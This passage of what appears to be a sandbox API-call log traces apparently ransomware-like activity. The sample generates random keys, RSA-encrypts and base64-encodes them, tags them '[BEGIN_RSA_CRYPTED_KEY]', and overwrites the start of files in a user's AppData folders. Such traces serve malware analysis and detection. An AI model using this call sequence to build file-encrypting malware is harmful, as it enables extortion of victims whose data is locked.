lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.182] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.182] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.182] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.183] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="fye05F69a8JHFXwHcVPSh8p5yg5hbgNrduf3YZGo9fMnbyDII4gtzwX///Z6rUV8\n4vmzFD8PogsGF0+wvUKxIVZ4WTp9XVro+YUch3205ouo6aS0vUKtNU9Vi+m4Ck+d\nGzpZnoC7TOaY2TPzjwnnBKozOqeM45jsT3Osun7J9Yt3tr2hl3BiAgEM9YDqpUUM\nvSfdSYUEzI4ilclVi1HU1Oz/Q7xFE/BCwx9z2HtRAfYuD90BRi2sZG9pFp5Uzp07\nwFob0ZhXY8KMWZYea4kk8VaTTnreR5aH6emEtFG1XxpW2nMcE3PxLsTaiNjKztNJ\nrwnsPeSd1VfjRLjiTbe+Mg==\n", pcchString=0x2e3f9a8) returned 1 [0195.183] WriteFile (in: hFile=0xbe0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.183] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.183] WriteFile (in: hFile=0xbe0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.183] CloseHandle (hObject=0xbe0) returned 1 [0195.187] WriteFile (in: hFile=0xbec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.189] CloseHandle (hObject=0xbec) returned 1 [0195.189] WriteFile (in: hFile=0xbec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.190] CloseHandle (hObject=0xbec) returned 1 [0195.191] WriteFile (in: hFile=0xbec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.191] CloseHandle (hObject=0xbec) returned 1 [0195.192] WriteFile (in: hFile=0xbf0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.193] CloseHandle (hObject=0xbf0) returned 1 [0195.194] WriteFile (in: hFile=0xbf0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.195] CloseHandle (hObject=0xbf0) returned 1 [0195.195] WriteFile (in: hFile=0xbf0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.197] CloseHandle (hObject=0xbf0) returned 1 [0195.197] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.197] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0195.198] ReadFile (in: hFile=0xc08, lpBuffer=0x59d200, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d200*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.198] SetFilePointer (in: hFile=0xc08, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.198] WriteFile (in: hFile=0xc08, lpBuffer=0x59d2c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.198] SetFilePointer (in: hFile=0xc08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0195.198] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.198] WriteFile (in: hFile=0xc08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.199] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.199] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.199] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.199] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="i+hlrySPhAQcWzPVz1hhLLNFEQ/r1IwjHFuZAp05I9hynxf8qAHAeAJMIRyinrNF\n5ujEb3ivWQe0b7vHMXqOFd4Ux4EF3vue/Em9D1ToxbyQGQzzE33gfaR7HNgbQ3B0\nxj4xpFzwuhOVK+Sadt+LkJ4n4JHRjNYhWHFoqVCLu2eAnjeFlGPIql2LdsuNAuub\nPgSm7Qg5WjsdiIo/R+Y4+jGOYH+YraJ30wwWfP4MoPTemNd0bbZFObbGiG8jmK1i\n6Z/NvfSBvdE3yfTxCtDj0jCIIGvpVXzZ5/Hs/As2RmHbin42R6xPPf4baJoPi+hh\nSaTeagiwRrQFYF1IJlNCfA==\n", pcchString=0x2e3f9a8) returned 1 [0195.199] WriteFile (in: hFile=0xc08, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.200] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.200] WriteFile (in: hFile=0xc08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.200] CloseHandle (hObject=0xc08) returned 1 [0195.201] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.201] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0195.201] ReadFile (in: hFile=0xc08, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.264] SetFilePointer (in: hFile=0xc08, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.265] WriteFile (in: hFile=0xc08, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.265] SetFilePointer (in: hFile=0xc08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.265] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.265] WriteFile (in: hFile=0xc08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.266] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.266] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.266] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.266] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="doNw0N/FIHBvivIFNF7ytFrs6huqMMUkP+kX8rRw0bfoJryWpG/34xhdQrOO3biM\nRCZ//ssy56MmKkHkq0l34Ju9F10aNsAwSYmCtyWiLeUfRGYIv8yJwokp618u3/hP\nxcW7BPwFHl849uiV+0QoINwGlEeO3Jz+bBHNxNFbeAiK+wpk+p/eVIfM1yxEUwJn\nPObA/iO6ccFQW0dG02c+CvkpZvk3Rh+64mCFgJ0w9Bs1pxDdzHGZD6bhMMlWhWoN\nrj8FIzSsds2BPEM8KrJ74rW9WN7ODH5L76QsTVnLzq0bLekuPcZUO5fcOWhL7oro\nm5cnXADfOtTTQD9eVp1Phw==\n", pcchString=0x2e3f9a8) returned 1 [0195.266] WriteFile (in: hFile=0xc08, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.266] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.266] WriteFile (in: hFile=0xc08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.266] CloseHandle (hObject=0xc08) returned 1 [0195.271] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.271] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0195.272] ReadFile (in: hFile=0xc08, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.278] SetFilePointer (in: hFile=0xc08, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.278] WriteFile (in: hFile=0xc08, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.278] SetFilePointer (in: hFile=0xc08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.279] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.279] WriteFile (in: hFile=0xc08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.279] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.279] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.279] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.280] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="DKyeLGALoNQB5cuCH3Oel0ijp1gBPoV/qy75lTV0uVw1jm9htgmAggk5zidjYnoP\nrg2mVkg16AkIjy3bYPK0yj8mYq+98S2LR/LhiMQWdr2LFuXajCEZ8lVNVjM7URDB\n/DMXZlZDJZJsmEesIrmKVWXj7WuvHXTNi0dLjg++ceweiPAYq2AOnwPiPLNQbX/u\nJQN16ETgDlBSyNVKriKZ0EPGdnrvZBUXcyBSipynPYY6QYpC56k2kMgtUS4lpNlW\nDJBraD42+vJQIDxRCH5gxYARRUH0kWd/XBeEK9y74nQRLBKOq39FTNRonOxpRVFz\nL52epCLsGiCArlFu8DyzNQ==\n", pcchString=0x2e3f9a8) returned 1 [0195.280] WriteFile (in: hFile=0xc08, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.280] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.280] WriteFile (in: hFile=0xc08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.280] CloseHandle (hObject=0xc08) returned 1 [0195.282] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.282] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0195.283] ReadFile (in: hFile=0xc08, lpBuffer=0x59d370, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.283] SetFilePointer (in: hFile=0xc08, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.283] WriteFile (in: hFile=0xc08, lpBuffer=0x59d240*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.283] SetFilePointer (in: hFile=0xc08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0195.283] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.283] WriteFile (in: hFile=0xc08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.284] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.284] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.284] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.284] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Ni8Ynpd6LoCD/RkoYDdoL2nJxrbvfewAymsR+kEX6APrRjB9HAzMsxqhazxxXtKu\nhTHO2YMg9ZG2UeyuGavL7RXSZMFeUl4a2rKtJqhWz+OXc+7PAWPlJm3VqUHuIDYs\nRbE15nbfQPWKM37lTbZK+Gc7LVFJ8imEVAk8cHduW83zkKivAYSPtzWnIQ9HpSgg\nfpVK1Z0ITLoIaSIX9pEIM05olCL5NoW8FXEyXA9kz8+iiZqFajiyyiRdxiDyGIwM\nx27ls98krCbbFHsjC+fkWGIXHxG5JPAFDoFwH+XoAJ9QUEXPT4v1kpikxFfUHdVR\niZkNLhtntPjc76XzwDmLhg==\n", pcchString=0x2e3f9a8) returned 1 [0195.284] WriteFile (in: hFile=0xc08, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.285] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.285] WriteFile (in: hFile=0xc08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.285] CloseHandle (hObject=0xc08) returned 1 [0195.287] WriteFile (in: hFile=0xc14, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.288] CloseHandle (hObject=0xc14) returned 1 [0195.289] WriteFile (in: hFile=0xc14, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.290] CloseHandle (hObject=0xc14) returned 1 [0195.291] WriteFile (in: hFile=0xc14, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.292] CloseHandle (hObject=0xc14) returned 1 [0195.292] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.292] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0195.306] ReadFile (in: hFile=0xc28, lpBuffer=0x59d350, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d350*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.306] SetFilePointer (in: hFile=0xc28, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.306] WriteFile (in: hFile=0xc28, lpBuffer=0x59d250*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d250*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.306] SetFilePointer (in: hFile=0xc28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0195.307] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.307] WriteFile (in: hFile=0xc28, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.308] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.308] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.308] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.308] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3fyr+c984zZRNxR934031t2GOmuaZjNf5CSC3FTp4DYA2LTdmBTt4hqcaWOLuUwJ\nR/gaqE3Mwr0GGNLX/0+uC6IIez+fX2DkTYkCwqV8xSyVvUFucSlCqfVB4mfaO3Cm\nFFNJty/NCFuRZ91H+L6/pickngrDAW9Hc7w4gSAjZf72K7/4DS6RFzFzD0Z2uGmr\npU9EiPqPi78Nao8bFhYDSqzqL3bMYDpp05hI6815sVpkT+K/CqJA1rAtOqrda8vZ\nKIcbArS4IN7THgFkktwvRL+MQCGyCN3ii8g/jFiJFmoKzTp/4IXUDYzXOwynX0q5\nRxLysQvJFzdyOa9IIuNRFg==\n", pcchString=0x2e3f9a8) returned 1 [0195.308] WriteFile (in: hFile=0xc28, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.309] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.309] WriteFile (in: hFile=0xc28, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.309] CloseHandle (hObject=0xc28) returned 1 [0195.311] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.311] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0195.373] ReadFile (in: hFile=0xc28, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.456] SetFilePointer (in: hFile=0xc28, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.456] WriteFile (in: hFile=0xc28, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.457] SetFilePointer (in: hFile=0xc28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.457] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.457] WriteFile (in: hFile=0xc28, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.457] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.457] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.458] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.458] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 